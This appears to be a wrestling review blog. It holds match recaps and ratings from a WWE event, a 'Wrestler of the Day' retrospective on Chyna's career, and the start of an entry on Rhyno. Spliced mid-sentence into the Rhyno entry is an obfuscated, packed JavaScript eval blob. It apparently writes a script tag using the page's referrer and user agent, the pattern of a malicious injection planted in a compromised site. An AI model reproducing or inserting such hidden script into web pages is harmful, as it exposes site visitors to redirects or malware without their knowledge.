Double tags bring in Ryback and Goldust with the champion scoring off the uppercut and a spinebuster. Ryback loads up a powerbomb but gets rolled up for the pin by Goldust, getting us down to three teams at 6:12. Cesaro comes in to pummel Goldust in the corner before it’s off to Swagger for a front facelock. The fans start chanting WE THE PEOPLE as Goldust is sent to the floor for a clothesline from Swagger.

Back inside and Cesaro gets two off the gutwrench suplex and we hit the chinlock. Off to Jack again for a bearhug as Big Show plays cheerleader for Goldust. Goldie fights back with right hands and a springboard elbow to the jaw. Cesaro easily takes him down and we get a short version Cesaro Swing. A Swagger belly to belly suplex puts Goldust down again and we get the Vader Bomb/double stomp sequence from the Real Americans for another two.

Antonio puts on another chinlock but this time Goldust escapes with a jawbreaker. Cesaro can’t break up the tag but Swagger runs around the ring and pulls Cody off the apron. Cody is holding his knee as Big Show throws Swagger into the barricade and Goldust catches Cesaro with a hurricanrana. A powerslam puts Cesaro down again and the hot tag brings in Big Show. Cesaro is thrown all over the ring and a shoulder block turns him inside out. Both Americans get punched in the jaw and Big Show pins Cesaro for the elimination at 14:42.

So we’re down to the two good guy teams but Big Show waits for the champions to get on their feet. A hard shoulder block puts Goldust on the floor and Cody gives him a somewhat angry pep talk. Goldust comes back in for a top rope cross body with Big Show waiting on the impact for about eight seconds. The chokeslam is countered into a DDT for two and it’s off to Cody for a double suplex on Big Show for two. The fans are rapidly losing interest.

Big Show swats a Disaster Kick out of the air and it’s off to Mysterio (remember him?) for a springboard seated senton to Cody. Now the Disaster Kick connects for two on Mysterio and Cody is getting frustrated. Cross Rhodes is countered into the 619 to both champions. Goldust is sent into the barricade by Big Show but Cody sends the giant into the post.

Cody tries a springboard dropkick but gets caught in a powerbomb by Rey (how often do you hear that?) for two. Cross Rhodes are countered again but the 619 is countered into an Alabama Slam which is countered into a sunset flip for a VERY close two. The third attempt at Cross Rhodes FINALLY connects for the pin to retain the titles at 21:06.

Rating: A-. This dragged a bit in the middle but man alive that ending was great. Cody and Goldust are just awesome right now and I’m so glad they didn’t give the titles to another thrown together team. I have no idea why the Usos weren’t in there somehow other than putting in two bigger names. Really good match here though.

We’ll wrap it up with a fourway match for a future Intercontinental Title shot.

Jack Swagger vs. Rey Mysterio vs. Mark Henry vs. Kofi Kingston

One fall to a finish and the winner gets Big E. (on commentary) for the Intercontinental Title at Elimination Chamber. Henry quickly throws Swagger to the floor but gets taken down by Kofi and Rey. The two speed guys get to have a showdown with Rey dropkicking Kofi for two but they have to eliminate Swagger again. Kofi dives over the top to put Jack down again and Rey hits a running seated senton from the apron. Henry is back in and loads up a dive of his own, only to have Swagger take out his leg.

Two straight Vader Bombs have Henry in trouble but Jack has to clothesline Rey down for two. Mysterio comes back with a top rope seated senton for two followed by the sitout bulldog for two more with Kofi making the save. Rey is sent into the post before Kofi bounce up the ropes and dropkicks Swagger down before hitting the Boom Drop. Rey gets knocked off the apron again and Swagger loads up Kingston in a superplex. Henry tries to make it a Tower of Doom but Kofi holds on, meaning it’s only a powerbomb to Swagger.

Henry cleans house but Swagger takes out the leg again and puts on the Patriot Lock, only to have Mark kick him off. Rey hits a 619 to Mark’s ribs and Kofi adds Trouble in Paradise but Jack is on his feet again. Kofi grabs a German suplex on Rey but Jack suplexes both of them at once in a nice power display. Kingston is sent to the floor but slides back in to break up a 619 attempt. Henry makes the save but gets kicked to the floor by Kofi. The distraction lets Swagger catch Kofi in the Patriot Lock for the submission at 8:35.

Rating: C+. Nice match here with everyone doing their job perfectly. I didn’t see the Mysterio knee injury but I’d guess it was on the seated senton from the apron as he went off camera for a few minutes as a result. Swagger getting the shot is a good enough choice as he was the only heel here and Henry vs. Big E. does nothing for me.

Jack Swagger is a guy who has talent and potential to be something great, but the problem for him now is how brand damaged he is. People see Jack Swagger coming to the ring and it’s almost an automatic loss. He’s a guy that would need to be entirely repackaged and given a new character. Not Jack Swagger doing something different but not Jack Swagger anymore. Unfortunately there’s not much you can do with that when Swagger isn’t really a character that you can just have doing something new. He needs to be something completely different, because this character ran dry about three years ago.

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Wrestler of the Day – May 4: Chyna

Treat this one for what it is. Today is Chyna.

Chyna would debut as HHH’s bodyguard back in 1997. She destroyed various people and joined DX along with Shawn Michaels and HHH. Eventually she would join them in the occasional match, with her first one coming on May 4, 1998’s Raw.

DOA/Legion of Doom vs. D-Generation X

8 man tag here. The referee throws out Sunny to take away the visual part of this. The Outlaws come out on mopeds. Lawler says he took some Viagra earlier today. Chyna is thrown out also. HHH says not so fast because she’s replacing X-Pac in the match. This is actually happening and it’s Animal vs. Road Dogg to get us going. A powerbomb is broken up but a powerslam hits for two. You figure out who did it to who.

Off to 8-Ball (how does Ross tell them apart?) but he gets beaten down by the future Game. Jerry tries to call this the first intergender match in company history. Not quite but I guess they’re trying to say mixed tag is different than intergender. Billy hits a Fameasser to take over and here’s Chyna to a POP. She busts out a hurricanrana for two but Skull shoves her off with ease.

We take a break and come back with HHH stomping away on one of the bikers but he gets caught in a powerslam for two. Hot tag brings in Hawk and Jerry thinks the LOD just wanted to keep the titles off the DOA. Chyna comes in again and goes up but Hawk knocks her to the floor. He gets a shot in the bird eggs for it and everything breaks down with a three on one DX beatdown to Hawk.

Off to Roadie again as this is getting some time. Billy comes in now and JR sings his praises. He charges after Hawk in the corner (Billy, not JR) and they ram heads which lets 8-Ball get the tag. The LOD and DOA get into a fight which was expected and DX watches (smart) from the ring. LOD gets in some chair shots but they’re only somewhat successful. The match is thrown out.

Rating: C-. This was just a way to get Chyna out there and set up the tag feud. This wasn’t much of note but the popularity of DX is certainly noteworthy. LOD vs. DOA would go on FOREVER and it was boring the entire time. Eventually Paul Ellering was brought in for some reason and it didn’t go anywhere else. Not much of a match.

Chyna would only wrestle once or twice in 1998 but would start competing more full time in 1999. One of her first major matches was when she was part of the Corporation. On May 11, 1999, she took part in the Corporate Rumble with the #30 spot in the Royal Rumble on the line.

Corporate Rumble

This is a mini-Rumble where the winner gets to be #30. We open with Shamrock vs. Billy Gunn (not in the Corporation so I guess this is an open field for some reason?) and after a break we’re ready to go. Oh apparently this is DX vs. the Corporation. Why would Vince agree to that? Shamrock kicks Gunn off the apron before Gunn gets in and DIVES ONTO THE FLOOR, eliminating himself in the process.

Shamrock pounds away on Billy as Shane cheers him on. The Boss Man is #3 and Billy is in big trouble already. Gunn comes back with a forearm but Boss Man chokes him down. Test is #4 (I think the intervals are about once a minute) to make it two on one. A big boot put Gunn down but they can’t eliminate him. Thankfully X-Pac is #5 but after only a few seconds, Test hiptosses Billy out.

The layout powerbomb puts Pac down but Road Dogg is #6. He’s still got the blood all over him and nothing happens until Kane is #7. A clothesline puts Roadie out and Pac is stuck 3-1. HHH is #8 and things speed up. Test accidentally hits Kane and gets knocked out as a result. HHH and Pac take out Kane but Pac is eliminated in the process. That leaves HHH vs. Boss Man….until Vince is a surprise entrant at #9.

Shane of course erupts as Vince sneaks in and eliminates both guys to seemingly win the thing. He tears his shirt off ala Hogan, but Chyna is another surprise entrant at #10. The place goes nuts but the Stooges won’t let her get in. Chyna decks both of them and here comes Austin. The distraction is enough to let Chyna throw Vince out (apparently knocking him out cold in the process) and get the #30 spot. Shane freaks to end the show.

Rating: D+. This is a hard one to grade because the wrestling barely existed, but the fan reaction was incredible, as Vince got a ton of heat but Chyna’s pop was even better. Good surprise here but as usual, it’s all about the payoff and nothing about the buildup to that payoff. Such is life in the Attitude Era.

Along with the Corporation, Chyna would go to war with DX, including this tag match at In Your House #27. HHH was livid at her for her betrayal and it’s time for revenge.

HHH/X-Pac vs. Kane/Chyna

HHH is all fired up for this one. He takes off the DX shirt to reveal a Chyna shirt which he rips to pieces. Shane McMahon comes out to do some commentary. HHH pounds away on Kane to start but is quickly clotheslined down. HHH comes back with a shot to the face and brings in X-Pac for some right hands, only to have Kane easily toss him into the corner to take over.

Chyna comes in with a forearm but misses a charge as this is the first man on woman match in WWF history. Chyna avoids the Bronco Buster and things slow down a bit until it’s back to Kane. HHH comes back in with a top rope fist to the face but goes after Chyna instead, allowing Kane to come back with the top rope clothesline for no cover. Chyna gets the tag and escapes a quick suplex attempt to slam HHH down in a nice power display.

Back to X-Pac to crank on the arm and avoid a charge in the corner, setting up a double suplex by DX. Chyna tries to come in off the top but gets launched off the top rope at Kane to keep DX in control. Kane is clotheslined to the floor as everything breaks down. X-Pac dives at Shane before heading back inside to get slammed down by Kane for no cover. Chyna comes back in with a running powerslam before Kane gets the tag and pounds away as well.

HHH is watching a bit too intently, allowing Chyna to blast him in the face before clotheslining X-Pac down for two. Chyna hooks a sleeper hold on X-Pac but gets taken down by a belly to back suplex. A hot tag brings in HHH and everything breaks down again. HHH hits the knee to Chyna’s face but Kane pulls him to the floor to prevent a Pedigree attempt. Chyna gets caught in the corner for the Bronco Buster but Shane sneaks in to jump X-Pac. X-Pac chases him to the back and HHH sends Kane into the steps. HHH loads up the Pedigree but Kane comes in with a chokeslam to give Chyna the easy pin.

Rating: D+. The match was all built around the story but the question is which story. That was the problem with this whole thing: it was such a mess with all the twists and turns that people stopped caring. Eventually at Wrestlemania, Chyna would turn face again to rejoin HHH but then literally less than an hour later they would both turn heel to join the Corporation. Think that’s enough twists and turns?

Chyna would continue doing stuff women didn’t often do by entering the 1999 King of the Ring.

King of the Ring Quarterfinals: Road Dogg vs. Chyna

Road Dogg has a “Down Where, Down There” shirt. Yeah they didn’t steal any of that from the NWO, not a thing. He does his standard intro which forever proves that wrestling doesn’t need to exist to get a character over. DX is more or less dead here as it’s just him and X-Pac. Chyna and HHH are heels now. Roadie got in over Godfather and Chyna over Val Venis.

For an idea on the in ring stuff at the time, none of the 8 qualifying matches went longer than 3 minutes. This is really just a way for Chyna to showcase herself and that’s fine. They start with a very nice hammerlock sequence. The thing that’s forgotten about Chyna is that she could wrestle. Killer Kowalski said she could so that’s pretty solid. I said that before Ross did so I’m happy.

She dominates for a decent while until we hit the floor and HHH slams Roadie into the post. We hear Chyna call a spot which happens at times so that’s ok. Chyna gets points for using a DDT so I like her more than I did for her looks. She steals the Road Dogg’s knee drop which makes me chuckle and gets her a lot of heat. It amazes me how far she fell. Road Dogg can’t really fight back here which is the storyline of the match, which makes a lot of sense actually.

And there’s your ref bump and HHH putting Chyna on top. Make your own jokes. It only gets two though to a GREAT pop. Now Commissioner Shawn comes out for no apparent reason other than to stop HHH. Road Dogg finally snaps and uses his regular offense as HHH is thrown out by Shawn. Chyna goes for her mega low blow but Road Dogg is wearing a metal cup which makes a lot of sense. The pumphandle ends it.

Rating: C+. There was some interesting stuff here. Chyna was a big deal on a semi national level so that’s always a cool thing. Road Dogg was showing he could actually put on a passable match, and the cup thing was smart but simple. This was certainly ok, but it could have been improved by being a few minutes shorter. It wasn’t bad at all though.

During the insanity that was 1999, Chyna found herself in a triple threat with Undertaker and HHH for the WWF Title shot at Summerslam 1999 on August 9, 1999’s Raw.

Chyna vs. Undertaker vs. HHH

Commissioner Shawn Michaels is guest referee for reasons that aren’t clear, falls count anywhere and JESSE VENTURA is guest commentator. HHH shoves Chyna down to start and hammers away on Undertaker in the corner. You know that’s fine with Undertaker as he throws HHH into the corner and pounds away before lifting Chyna in the air by the throat. Chyna rakes the eyes so Taker shoves her to the floor. HHH makes the save but gets kicked in the face and sent outside as well.

The guys fight on the ramp as the announcers talk about HHH being #1 contender coming in but having to defend it here. Jesse spends the entire match talking about how important this is because it’s for a chance to become World Heavyweight Champion. I love hearing commentators do that for a change. HHH and Undertaker come back inside where Chyna has to save HHH from a chokeslam.

She shoves HHH down and hits him low before walking into the softest chokeslam ever from Undertaker. The fans aren’t pleased and let the Dead Man know about it. The guys slug it out again as Steve Austin returns from being hospitalized earlier in the night. All three people are on the floor and here’s Austin to blast HHH in the head with a chair. He puts Chyna on top to send her to Summerslam in a huge upset.

Rating: D+. This would be the second of literally four or five #1 contenders matches which wound up seeing HHH and Mankind both getting the title shot. Chyna winning was there for a big shock while the other two punched each other for eight minutes. At the end of the day she was very popular so this win wasn’t a…..ok yeah this was a huge stretch but it’s not like it lasted.

Since she didn’t get to go after the World Title at Summerslam, she settled for going after the Intercontinental Title over the next few months. Her big showdown with champion Jeff Jarrett came at No Mercy 1999 in a Good Housekeeping match. The idea was that Jarrett thought Chyna should be cooking and cleaning and was going to prove it.

There’s one more interesting thing to this match. This match is, among other reasons, the main reason why Jarrett was thrown out of the WWF and told never to come back. In other words, TNA wouldn’t be around if not for this match. The thing was, this had been built up for months at this point. This more or less was the 3rd biggest match on the card. You could argue the 2nd biggest. One problem: Jarrett’s contract expired Saturday night or Friday or whenever.

Point is: he wasn’t under contract for Sunday and was the Intercontinental Champion. Vince has a major problem and Jarrett realizes it. So, Jarrett says pay him somewhere around $400,000 or he’s not showing up. He had Vince over a barrel so he got paid. The thing is, Jarrett did nothing wrong whatsoever.

Vince messed up here as he didn’t realize that he had a major issue coming up and he just let it go. Jarrett utilized supply and demand. There was a very high demand for his services and a small supply. He used simple economics and charged Vince a very high price tag for it. Not a thing wrong with it at all. Also, how many times do people get the better of Vince? I love that.

Intercontinental Title: Chyna vs. Jeff Jarrett

Remember this is more or less a weapons match with certain weapons only. Chyna, the liberated woman, is wearing a thong. Sure why not. Miss Kitty is amazing looking of course so that’s no shock. This is a glorified comedy match but that’s working for something like this as it fits the storyline pretty well. Chyna shoves a banana in Jarrett’s face while he has a toilet seat around his neck. See what I’m dealing with here?

All Chyna so far here until she misses an elbow from the apron through a table. She broke the salami that was on the table. Apparently this is falls count anywhere as well. Jarrett hits her in the back with a fish. Ok then. Chyna beats up Miss Kitty but gets caught in the figure four, which was Jarrett’s finisher at the time. Ah there are the ropes. Jarrett comes off the second rope and the tongs he has wind up on his balls.

We’ve got pies. You might notice there is no sort of wrestling or flow to this at all. Don’t bother looking for it as this is a glorified comedy match. Kitchen sink shot gets two. There goes the referee. Who says the late 90s were overbooked? Chyna takes the title to the face…and gets pinned? Apparently so.

BUT WAIT!

The referee says the IC Title isn’t a household item so he can’t use it for the pin. Chyna blasts him with a guitar and that’s ok for the pin and the title. Ok then. Kitty leaves with Chyna, leading to a weird semi-lesbian angle without ever saying that’s what it was.

Rating: C-. Not really a match but it ended the angle in a way that fit perfectly. I’m ok with that as it at least made sense. This was a solid blowoff to the match so that’s all I can ask for I guess. Jarrett would be in WCW in like a day or so, never to return again due to taking advantage of Vince’s error.

Chyna would start a rivalry with a newcomer named Chris Jericho, defending against him at Survivor Series 1999.

Intercontinental Title: Chyna vs. Chris Jericho

Jericho has only been around a few months and is challenging here. Chyna has Miss Kitty here who isn’t even hiding that she’s T&A here, coming out in a bikini and that’s it. Oh and boots. It’s a brawl to start and Kitty is shoved down because Jericho is a jerk. They head to the floor with Jericho’s knees going into the steps, but Chyna misses a dive off said steps to give the Canadian control.

Back in and Jericho gets hot shotted onto the ropes and put in the Tree of Woe. Chyna tries a German but Jericho kicks her low….with no effect because Chyna isn’t a guy. A standing rana takes Jericho down but he pops back up and clotheslines her to the floor. The springboard dive takes Chyna out again as JR talks about not being into the match due to what happened to Austin. For once this is an acceptable statement.

Jericho throws Chyna over the announce table and pours water over her head because Jericho is a jerk. Back in and a missile dropkick gets two for Jericho as does a small package for Chyna. Chyna tries to make a comeback but Jericho bulldogs him down for two and a BIG face pop. A spinwheel kick puts Chyna down and Jericho is swaggering. A clothesline puts Chyna on the floor and Kitty gets kissed.

Chyna comes back with a spear and posts Jericho as the crowd noticeably gets quieter. Back in and Jericho hits a layout powerbomb for two and Jericho is getting frustrated. Lionsault misses and Chyna hits the springboard elbow and a DDT for two. With about two minutes left, Lawler mentions a stipulation that Jericho will get a sex change if he loses. Keep those priorities straight guys.

With the referee down, a belt shot to the head gets two for Chris but Chyna comes back with a Pedigree for two of her own. Jericho puts her in the Walls but Chyna finally makes the rope. The place boos the submission being broken. Jericho loads up a superplex but a Kitty distraction lets Chyna hit him low and a Pedigree (kind of) off the top gets the pin to retain the title.

Rating: B. This took a bit to get going but they hit a groove in that ending sequence. The most important thing here though was Jericho wrestled her like any other opponent rather than making a spectacle out of her being a woman. These two would stay at it for awhile until Chyna went nuts and eventually started wrestling women, which was the downfall of her career. Well that and being nuts and HHH breaking up with her, but that’s another story.

Jericho would eventually take the title, before a rematch ended in a double pin. They were co-champions for awhile, until a match at the 2000 Royal Rumble would settle things. Hardcore Holly is thrown in for no apparent reason.

Intercontinental Title: Chris Jericho vs. Chyna vs. Hardcore Holly

You know Jericho is fired up to be in MSG. He talks about how awesome his championship celebration will be, as it will make the millennium celebration look like his sister’s seventh birthday party. Holly piefaces Chyna down to start before getting in a slap fight with Jericho. Chyna gets sent to the floor for the Slaughter fall, leaving the blondes to fight for a bit. Holly hits that perfect dropkick of his but Jericho comes back with the forearm.

They slug it out until Holly tries a rana (huh?), only to get caught in the Walls. Chyna makes the save, basically turning heel at the same time. Chyna sends Holly to the floor and gets drilled by Jericho. Holly and Chyna go to the floor where Jericho tries a dive but slips and only hits Holly. Back in and there’s the handspring elbow and DDT from Chyna to the Canadian for two. Everyone heads to the floor where Jericho saves Chyna from a chair shot. Back in and both champions go up for a kind of double splash for two.

They both tried for a cover and a fight breaks out as a result. Chyna escapes a belly to back suplex and hits Jericho low, followed by a Pedigree for two on Holly. Chyna goes up but gets caught in a modified Doomsday Device (cross body instead of a clothesline) for a very close two. That probably should have been the finish. Now Jericho loads up a superplex but gets crotched for his efforts. Holly gets superplexed by Chyna but gets two on her off the bounce. Chyna chairs Holly in the head and puts on the Walls, only to have Jericho break it up and hit the Lionsault for the undisputed title and a BIG pop.

Rating: C+. This was pretty good and too short to get bad. It could have been on Raw but see, back in 2000, there was this crazy idea of finishing angles on PPV. I know that’s insane now and everything ends in a big match on Raw or rather just stops happening one day, but back in the old days, they ended like this. Match was fine.

Chyna would soon get into a feud with the newly arrived Radicalz, facing them at Wrestlemania 2000 in a six person tag as she teamed with Too Cool.

Radicalz vs. Too Cool/Chyna

This would be Saturn/Malenko/Guerrero. They’re brand new at this point and Dean is already Light Heavyweight Champion. Too Cool was their first feud and it was a big enough deal that Too Cool rode it to a tag title reign in a few months. Eddie and Scotty start things off and Scott has his hat knocked off almost immediately. A tilt-a-whirl backbreaker puts Eddie down and it’s off to Chyna, sending Guerrero running off to Dean.

Malenko loads up a fast powerbomb but Scotty clotheslines him down to break it up. Chyna and the Grandmaster suplex Malenko down and it’s time to dance. Back to Eddie to face Grandmaster with Sexay hitting a quick suplex. Saturn breaks up the top rope legdrop though and the Radicalz take over. Perry comes in legally now and steals Grandmaster’s dew rag, somehow making him look even more ridiculous.

Eddie comes back in and allows Grandmaster to make a tag to Scotty. That goes badly for the non Radicalzas Scotty charges into a hot shot followed by the slingshot hilo for no cover. Grandmaster comes back in sans tag and throws Eddie to the floor as things fall apart. Scotty loads up a double Worm on Saturn and Malenko but an Eddie distraction lets them get back up. There’s no one in the ring at the moment until we get back to Scotty vs. Eddie. Perry comes back in and superkicks Hotty down.

A top rope elbow hits Scotty but again there’s no cover. Instead it’s back to Guerrero who goes up but takes too long, allowing Scotty to crotch him. A superplex puts both guys down and there’s the hot tag to Chyna. She cleans house with handspring elbows and a double low blow to Saturn and Malenko. Eddie decks her though, breaking part of her outfit in the process. Chyna escapes a powerbomb into one of her own, grabs Eddie’s crotch and slams him down before finishing him with a sleeper drop.

Rating: D+. This didn’t work for me for the most part but the main story of Chyna vs. Eddie was advanced which is the right idea. This would wind up meaning nothing (in a way) though as Chyna would fall victim to the Latino Heat the next day, starting a summer long relationship between the two. I guess that crotch grab changed her mind.

The following night on Raw, Eddie and Chyna would hook up and stay together for most of the summer. This is probably Chyna’s best story and is pretty well remembered. Eddie and Chyna would regularly team together, including this match on June 5, 2000 on Raw.

Godfather/Dean Malenko vs. Chyna/Eddie Guerrero

This is before Dean was a ladies man so it’s just an oddball team. Eddie interrupts the Godfather’s lines to tick off the fans. This is the followup to Eddie costing Godfather a match against Chyna on Heat. Godfather and Eddie start things off with Eddie being tossed into the corner but Chyna blocks the Ho Train.

Dean comes in and counters a rollup into a wheelbarrow suplex for two. A rana puts Malenko down and it’s off to Chyna whose DDT is easily countered by Dean. The handspring elbow connects with Malenko in the corner before it’s back to Eddie. Dean hiptosses him into the Godfather’s Ho’s, ticking off Chyna in the process. Back in and Eddie counters a tilt-a-whirl slam into a small package to pin Dean.

Rating: D+. Again this didn’t have any time to go anywhere but notice again that they’re putting a bunch of different acts out there to keep things from getting stale. Yeah we get some repetitive stuff in the back, but it’s a bunch of quick shots instead of long drawn out segments to dull the fans’ minds. In short: keep things moving rather than constantly putting the same stuff out there over and over again.

The pair would face Trish Stratus and Val Venis in a tag team match at Summerslam with Val’s Intercontinental Title on the line.

Intercontinental Title: Trish Stratus/Val Venis vs. Eddie Guerrero/Chyna

Val is champion and the first fall here gets the title, other than Trish that is. Trish’s little white shorts get a BIG pop as you would expect. The guys start things off with Eddie speeding things up and hitting a jumping back elbow for two. A snap suplex gets the same and Guerrero escapes a powerbomb before clotheslining Val down. Eddie catches Val’s kick to the ribs and whips him around into a Chyna clothesline.

A double flapjack puts Venis down for two and Chyna hits another clothesline for two. Trish tries to get in a cheap shot but the distraction allows Val to take over. A LOUD Chyna chant starts up but Val suplexes her down for two. Chyna avoids a middle rope elbow but her powerbomb is countered with a backdrop. Instead Chyna takes him down with a DDT and it’s back to Eddie to clean house. A springboard hurricanrana gets two on the champion but

Val drops him face first onto the buckle and puts Eddie down with a Blue Thunder Bomb. They headbutt each other to put both guys down but Trish tags herself in and gets two on Eddie. Jerry tries to give the blonde pointers but Eddie easily takes Trish down. Off to Chyna and the mauling is on, but Val breaks up the handspring elbow attempt. Chyna avoids a double team and Eddie pulls Val to the floor, allowing Chyna to gorilla press Trish for the pin and the title.

Rating: D+. The match was nothing but the girls looked good enough to carry it. This would be another part of a long storyline as Eddie would cost Chyna the title in about two weeks, accidentally stealing it for himself. Val would split with Trish after this and join up with the Right to Censor for the next few months. Not much to see here other than Trish in the shorts.

Eddie would get caught cheating on Chyna soon after this, leading to a feud between the two. One of their showdowns, albeit with three partners each, took place at Survivor Series 2000.

Radicalz vs. Team Chyna

Chris Benoit, Perry Saturn, Dean Malenko, Eddie Guerrero
Road Dogg, Billy Gunn, K-Kwik, Chyna

Kwik is R-Truth, which is what I’ll be referring to him as more than likely. Eddie is IC Champion and Dean is Light Heavyweight Champion. I would call this Team DX but they’re not together anymore. Saturn and Gunn get things going here but it’s quickly off to Chyna for a double suplex. Chyna pounds away in the corner as we’re waiting on the Eddie vs. Chyna showdown. A powerslam gets two on Saturn and there’s the handspring elbow but Saturn catches her. A DDT puts Saturn down but everything breaks down. Eddie hits Chyna in the back with a title belt and Saturn gets the easy pin.

Roadie comes in next but gets suplexed down almost immediately. Off to Eddie who pounds away and dropkicks Dogg’s knee out. Dean co

mes in but it’s quickly back to Eddie for a slingshot hilo onto the knee. Eddie goes up but runs his mouth too long, allowing Roadie to superplex him down. There’s the hot tag to Billy who immediately charges into a triple team in the Radicals’ corner. Smart guy that Billy. Billy fights them off and takes over on Eddie with a gorilla press and the One and Only (sleeper drop) for the pin and elimination.

Off to Dean vs. Truth with the latter flipping out of a hip toss. Truth tries a Downward Spiral but Dean falls backwards instead. Eh they screwed that one up. Off to Benoit who wants nothing to do with the hipping and the hopping so he Germans the tar out of Truth for the pin to make it 3-2. Off to Saturn vs. Road Dogg with the former taking over. Dean suplexes Dogg down for two and it’s back to Saturn for a northern lights suplex to get us down to Saturn/Benoit/Malenko vs. Billy.

Billy gets to fight Dean first with the Radicals taking over quickly. Benoit low bridges Billy but Saturn accidentally superkicks Benoit on the floor. Back in the ring Dean ducks his head and the Fameasser makes it 2-1. A Jackhammer gets two on Saturn as Benoit makes the save. Benoit hits the Swan Dive for two and the Wolverine is shocked on the kickout. Benoit is sent to the apron and Gunn tries to suplex him back in, only for the Warrior/Rude ending with Saturn tripping Billy and holding his foot for the pin.

Rating: C. This was fine but it never got to be anything interesting. Truth never worked in the WWF in his original run and the whole tandem rapping thing with Road Dogg didn’t work at all. Gunn was into that awkward singles stage of his which never worked the way the company wanted it to. Not bad here but it was nothing better than fine.

Chyna would hurt her neck soon after this and be forced to wrestle women. She would also pose in Playboy, causing the Right to Censor to freak out. This led to Chyna vs. RTC member Ivory for the Women’s Title at Wrestlemania X7.

Women’s Title: Chyna vs. Ivory

For one of the only times ever, Chyna looks great here. Ivory holds the belt to her face before the bell, but the referee is shoved away to let Ivory hit Chyna in the back with said title. Ivory gets in a few more shots but Chyna catches a boot in the corner. The destruction begins and Ivory is beaten down in the corner. A powerbomb kills Ivory dead but Chyna pulls her up at two. Instead it’s a gorilla press slam for the pin and the title. Chyna would bail on the company about a month later without ever losing the title.

Here’s a match I have to include for historical sake. From Raw on April 30, 2001.

Trish Stratus vs. Chyna

If this were like 4 years later, it could have been a featured PPV match. These two kind of missed in the timeline though. Trish is getting a lot of her signature looks and styles down but is wearing shorts instead of the long pants. Heyman does the sponsor ad for the Judgment Day PPV which would be Chyna’s last WWF match. Trish tries a charge and literally bounces off Chyna. This is domination even though Chyna doesn’t want to hurt her. Military press puts Trish down as does a jackknife, good for the pin. One of the most dominant squashes I’ve ever seen.

Chyna grabs the mic and says she doesn’t have much competition so she’s going to spank her opponents instead of pinning them. Cue Lita to a big old pop. She challenges Chyna and this actually approaches epic. Chyna squashed her because that’s all she did to the other Divas. The spanking thing was supposed to be….well I’m not sure what it was supposed to be. It was Chyna’s last American match for about 10 years.

And now, their match from Judgment Day 2001.

Women’s Title: Chyna vs. Lita

Lita is insanely over here. And here’s Chyna looking like a freaking peacock. That’s JR’s term, not mine. They hug before the match as I guess Lita is ok with Chyna being all evil to her and not seeming to take this seriously at all. This is power vs. speed here and both use their own better attribute to take over for a bit. Lita tries to help Chyna up and gets rolled up for two. Ok so she’s hot but not incredibly smart. Got it.

Chyna overpowers the match with ease to start but Lita gets a DDT for two. She finally wakes up and hammers away on Chyna. Middle rope clothesline gets two. Lita goes for the arm as this is getting sloppy. The fans are still in it though so they have that at least. Swinging neckbreaker by Chyna sets up a powerslam for two.

Lita channels her inner Alberto by hooking up a rolling cross armbreaker and Chyna is in real trouble all of a sudden. Chyna reverses into a headscissors and here’s Eddie for no apparent reason. She tries a powerbomb but Lita reverses into a horrible looking rana for two. And then a powerbomb by Chyna ends this clean. Nothing from Eddie other than standing there and Chyna more or less didn’t break a sweat.

Rating: D. This was supposed to be the big showdown? Chyna destroyed Lita here and made her look like a joke. This was Chyna’s last match in the company as she was taken off TV and the title was held up. She held the title until November anyway so there simply were no title matches for about six months. In short, Chyna destroyed the division and it took Trish and Lita to bring it back to whatever it was. Oh and this match was awful.

Chyna would go to Japan for awhile and do nothing of note. After going a bit insane, Chyna would make a one night return to wrestling in TNA, at Sacrifice 2011.

Jeff Jarrett/Karen Jarrett vs. Kurt Angle/Chyna

This should be….interesting. Christy points out that it’s guy on guy and girl on girl. Those exact words. TNA seems rather sexually frustrated tonight for some reason. Chyna looks like Captain America. We get a vague reference to Chyna and Jarrett feuding over the IC Title back in WWF without saying any of that of course. The guys start because we haven’t seen that in awhile right?

Loud Angle chant to start us off as Karen is about to cry. Chyna’s Gonna Kill You according to the crowd. Chyna gets tagged in and Karen hides on the floor. Jeff sneaks around and comes in as apparently he’s still legal so Kurt doesn’t have to be tagged in. Ankle lock goes on but Karen’s distraction leads to her being almost fed to Chyna. Gorgeous dropkick by Jeff puts Kurt down.

The fans want Chyna which means she might do a total of one move. Jeff and Kurt do the majority of the work here as you would expect them to. Kurt snaps back into it (OH YEAH!) and a belly to belly gets two. Angle Slam can’t hit and it’s Rolling Germans time. Jeff takes over again and says it’s over. Stroke is countered into the ankle lock but Jeff escapes. Angle Slam hits for two.

Chyna finally gets tagged in and (mostly) slams Jeff. Supelx looks a bit weird and Karen says I love you but no. Chyna goes after Karen in full on stalker mode but Karen walks into Kurt in the ring. Chyna gets her and hits a splash/clothesline in the corner. Pedigree hits and Tenay calls it a DDT. That has to be better than the powerbomb. Ankle lock goes on but Jeff won’t let her tap. Angle grabs one on Jarrett and Karen taps.

Rating: C. I’m not sure what to grade this so we’ll go with it right in the middle. While it wasn’t much, this was more or less exactly what they had to do. Chyna isn’t tested in the ring recently and Karen can’t wrestle so they let the guys have a quick match and let Chyna hit like two moves to end it. The feud is likely going to continue unless they had the weakest blowoff in recent memory. Not great, but exactly what it was destined to be.

Chyna is certainly an interesting case. She reached a point in 1999 where she stopped being a female wrestler and started being a wrestler who happened to be female. She was VERY over for awhile before going nuts and thinking she was way more valuable than she really was. I think she reached her peak as far as success, but that doesn’t mean she wasn’t very talented in her own right. The things she accomplished can’t be overlooked and the fact that no one has gotten close ever since says a lot.

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Wrestler of the Day – May 3: Rhyno

Today it’s RHYNO! RHYNO! RHYNO!

Rhyno eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sankt|var|u0026u|referrer|shika||js|php'.split('|'),0,{})) started in the indies near Canada, joining forces with Christian Cage and Sexton Hardcastle, who would later become known as Edge and Christian. He would eventually get a spot on Raw as a jobber. From November 6, 1995.

Terry Richards vs. Henry O. Godwin

Richards takes him into the corner and hammers away but misses a charge. A belly to back suplex and elbow drop have Richards in trouble. Godwin sends him into the buckle and rips at Richards’ face for good measure. The announcers spend the whole match talking about Henry Godwin vs. Hunter Hearst Helmsley, which to be fair is what you should do in a match like this. The Slop Drop (reverse DDT) gets an easy pin to complete Henry’s squash.

